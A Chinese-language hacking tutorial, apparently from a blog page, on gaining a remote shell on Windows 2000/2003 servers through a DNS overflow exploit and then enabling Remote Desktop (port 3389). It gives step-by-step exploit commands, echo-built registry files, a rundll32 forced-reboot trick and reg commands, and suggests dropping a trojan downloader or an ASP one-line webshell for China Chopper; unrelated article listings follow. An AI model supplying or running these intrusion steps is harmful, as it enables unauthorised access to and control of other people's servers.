1、Win7、Win2003、XP系统
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

2、2000系统

简要说一下如何进行DNS溢出攻击。我用的溢出利用程序是dns.exe,在CMD下运行它可以看到它的使用参数等信息。执行"dns -s IP"命令检测目标IP是否存在DNS溢出漏洞,若存在则进行溢出攻击,执行"dns -t 2000all IP 1207"后提示要我们检测返回的1100端口的shell。"telnet IP 1100"成功得到返回的cmdshell。注意目录为c:/WINNT/system32,接着我们需要做的是使用"echo"命令写入一个3389.reg注册表文件。将如下代码一行一行地复制到cmdshell窗口后按回 车执行:

echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS/.DEFAULT/Keyboard Layout/Toggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg

简单说明一下,">"符号是覆盖写入文件,如无此文件则创建,有则覆盖原来的内容写入。">>"是追加写入,即在原有文件内容的基础上在 后面写入内容。这里是写入内容到3389.reg文件中!需要注意的是第二行,那个作用是写入一行空格,因为.reg文件的格式 必须如此!成功写入完毕后接着执行导入操作,执行"regedit /s 3389.reg"。这样注册表文件就已经顺利导入到注册表里去了。不过需要注意的是在cmdshell下不要输错任何一个字符,否则将无法执行,建议先 自己打好在记事本上,确保无误之后再复制到cmdshell窗口执行。然后可以用下面这个方法重启目标主机。在cmdshell下执行如下代码:

@ECHO OFF & cd/d %temp% & echo [version] > {out}.inf
(set inf=InstallHinfSection DefaultInstall)
echo signature=$chicago$ >> {out}.inf
echo [defaultinstall] >> {out}.inf
rundll32 setupapi,%inf% 1 %temp%/{out}.inf r

按顺序将以上五行代码一行一行地复制到cmdshell上,复制完一行按一次回车执行,五行都执行完毕后,服务器就会重启的了。当然让服务器重启的方法比较多,比如结束掉系统关键进程、代码模拟按键等都是可以的,如无意外,等待服 务器完成重启之后再连接目标发现远程桌面服务已经成功开启了。至此Windows 2000操作系统溢出后返回的cmdshell下开启远程桌面服务就成功完成了。

3、2003系统

相对于2000的系 统来说,2003cmdshell下开启远程桌面服务就比较容易一些了,起码无需重启嘛!第一种方法也是用"echo"命令写入一个 3389.reg文件,再"regedit /s 3389.reg"导入注册表文件即可开启,比较简单,与上面介绍的2000的开启方法类似。将如下代码一行一行地复制到cmdshell窗口后按回车执 行:

echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg

完成以上操作后再执行"regedit /s 3389.reg"导入即可生效!不过这个方法相对来说比较麻烦。我们还可以用另外一种比较简单的方法来开启远程桌面服务的。在介绍另一个操作方法之前,我们先来熟悉下2003系统下远程桌面服务的一个最关键的注册表键值。
在"HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"

下数值名称为"fDenyTSConnections"的这一项,可以看到它的数值数据为1或0。数值为1的时候关闭远程桌面服务,数值为0的时候开启远程 桌面服务。换句话说,我们只要可以在cmdshell下更改这个关键的注册表键值数据就可以达到实现开启远程桌面服务的目的了!有幸的是,在2003下有 一个"reg"命令完全可以做到这一点。这里我们找一台操作系统为2003的服务器,通过和上面介绍的同样方法溢出后返回一个cmdshell。当我们尝试连接的时候会发现根本无法连接上去。下面详细说明一下用"reg"命令开启远程桌面服务。执行:

reg query "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"

我们发现"fDenyTSConnections"键值数据为"0x1"。这个是十六进制数的1。上面提到,数据为1则没有开启远程桌面服务。我们要做的就是把"0x1"改成"0x0"!直接用"reg add"是不行的,必须把原来键值删掉再添加!在cmdshell下执行:

reg delete "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server" /v fDenyTSConnections

会询问是否"要删除注册表值 fDenyTSConnections 吗",当然Yes了。再执行:

reg add "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

提示操作成功完成。这样就把"fDenyTSConnections"的值改为"0x0"了,我们可以执行:

reg query "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"

发现已经成功更改了数据。现在再来连接服务器的3389看看,发现已经可以成功连接上了,创建个用户玩玩。至此2003下cmdshell开启远程桌面服务的方法也介绍完了。

溢出后也不一定要非要在cmdshell下开启远程桌面服务。
可以echo一个vbs文件,下载远程控制木马,然后在cmdshell里运行一下木马即可连接。
还有就是查询目标IP是否绑定有网站,如果有则找到网站目录,再用echo个一句话木马进去(命令是:echo "<%execute request("cmd")%>"   > WEB路径/test.asp),用中国年菜刀连接,然后上传大马,上传开3389的工具再开启也行。

开启远程Windows系统3389端口的更多相关文章

  1. Windows系统查看端口被那些进程使用

    Windows系统查看端口被那些进程使用注:当前Windows为虚拟机环境1. 打开命令提示符:开始-运行-cmd2. 列出使用端口的PID: netstat -abno -a 显示所有连接和侦听端口 ...

  2. windows系统常见端口和木马默认使用端口

    dos命令netstat比较好用,能比较全的看到自己开放的端口及状态一般我用netstat -a端口:0服务:Reserved说明:通常用于分析操作系统.这一方法能够工作是因为在一些系统中“0”是无效 ...

  3. windows系统查看端口占用情况

    windows系统,经常发现我们需要使用的端口被别的程序占用.但是我们又不知道是被谁占用,那如何查看端口被哪个程序占用呢?在这里就一起看看如何查看某个端口被占用的解决方法. 开始---->运行- ...

  4. 解决windows系统80端口被占用问题(转)

    在windows下部署web应用(80端口),启动时提示bind 80端口失败 检查端口占用: netstat -ano | findstr 0.0.0.0:80 发现System进程 (pid=4) ...

  5. 解决windows系统80端口被占用问题

    在windows下部署web应用(80端口),启动时提示bind 80端口失败 检查端口占用: netstat -ano | findstr 发现System进程 (pid=4) 占用了端口 然而本机 ...

  6. Windows系统80端口被占用

    1.查看系统端口被占用情况, 执行命令netstat -ano ,可以查看到被占用的端口对于的PID. 2. 打开任务管理器,然后点击“查看”→“选择PID”,勾上PID,再按PID排序,即可以看到8 ...

  7. windows系统查看端口占用程序方法

    开始---->运行---->cmd,或者是window+R组合键,调出命令窗口   输入命令:netstat -ano,列出所有端口的情况.在列表中我们观察被占用的端口,比如是49157, ...

  8. 关于Windows系统下端口被占用的问题和task命令

    一.如何解决端口被占用的问题? 此时端口4444被进程占用,只要找到端口4444的进程,并且将进程kill掉即可. 开始--运行--cmd 进入命令提示符 输入netstat -aon 即可看到所有连 ...

  9. windows系统关闭端口占用进程

    1.查找端口占用进程ID netstat -ano|findstr " 2.通过进程ID查找进程名 tasklist |findstr " 3.杀死进程(指定进程ID或进程名) t ...

随机推荐

  1. [android学习]android_gps定位服务简单实现

    前言 gps定位服务的学习是这段时间gps课程的学习内容,之前老师一直在将概念,今天终于是实践课(其实就是给了一个案例,让自己照着敲).不过在照着案列敲了两遍之后,发现老师的案例是在是太老了,并且直接 ...

  2. SQL 必知必会·笔记<4>使用通配符过滤数据

    LIKE操作符 通配符(wildcard): 用来匹配值的一部分的特殊字符. 百分号(%)通配符 最常使用的通配符是百分号(%).在搜索串中,%表示任何字符出现任意次数: SELECT prod_id ...

  3. centos7 常用工具包安装

    .虚拟机上传下载组件( 支持从windows直接拖拽文件,相当好用) yum -y install lrzsz rz+文件名(上传) sz+文件名(下载) .gcc (nginx之类由c语言开发的,编 ...

  4. Java 8 新特性-菜鸟教程 (7) -Java 8 Nashorn JavaScript

    Java 8 Nashorn JavaScript Nashorn 一个 javascript 引擎. 从JDK 1.8开始,Nashorn取代Rhino(JDK 1.6, JDK1.7)成为Java ...

  5. js节流函数和js防止重复提交的N种方法

    应用情景 经典使用情景:js的一些事件,比如:onresize.scroll.mousemove.mousehover等: 还比如:手抖.手误.服务器没有响应之前的重复点击: 这些都是没有意义的,重复 ...

  6. 如何调试Javascript代码以及网页代码

    做过网页开发的都知道,不过你是用php还是asp.net以及java开发的网站,在开发过程中,web网页展示页面肯定会出现或多或少的问题.这里我推荐使用谷歌浏览器进行Web网页的调试以及错误信息定位. ...

  7. [MongoDB] MongoDB增删查改

    MongoDB的三元素,数据库.集合.文档,集合就是表,文档就是行 开启MongoDB,cd切换到MongoDB的安装目录下的bin目录里,使用命令mongod 开启,参数:--dbpath 路径,把 ...

  8. Java语言的简介

    Java语言的由来 Java是由Sun Microsystems公司推出的Java面向对象程序设计语言(以下简称Java语言)和Java平台的总称.由James Gosling和同事们共同研发,并在1 ...

  9. 后端自测必备神器-PostMan

    作为后端的一个小小菜鸟,写代码没有把握,总怕出错,也不敢直接扔测试,这个时候就需要一个神器能够辅助自己去测试各种情况,让自己安心的交给测试,嗯……这时神器出场了------PostMan.在一个偶然的 ...

  10. kafka安装与简单使用

    一.kafka安装 安装是非常简单的,现在推荐安装0.8的版本,这个版本是非常稳定的,而且公司里面也多用此版本. 简单的安装: 这个是我使用的版本,kafka_2.11-0.8.2.2.tgz 直接t ...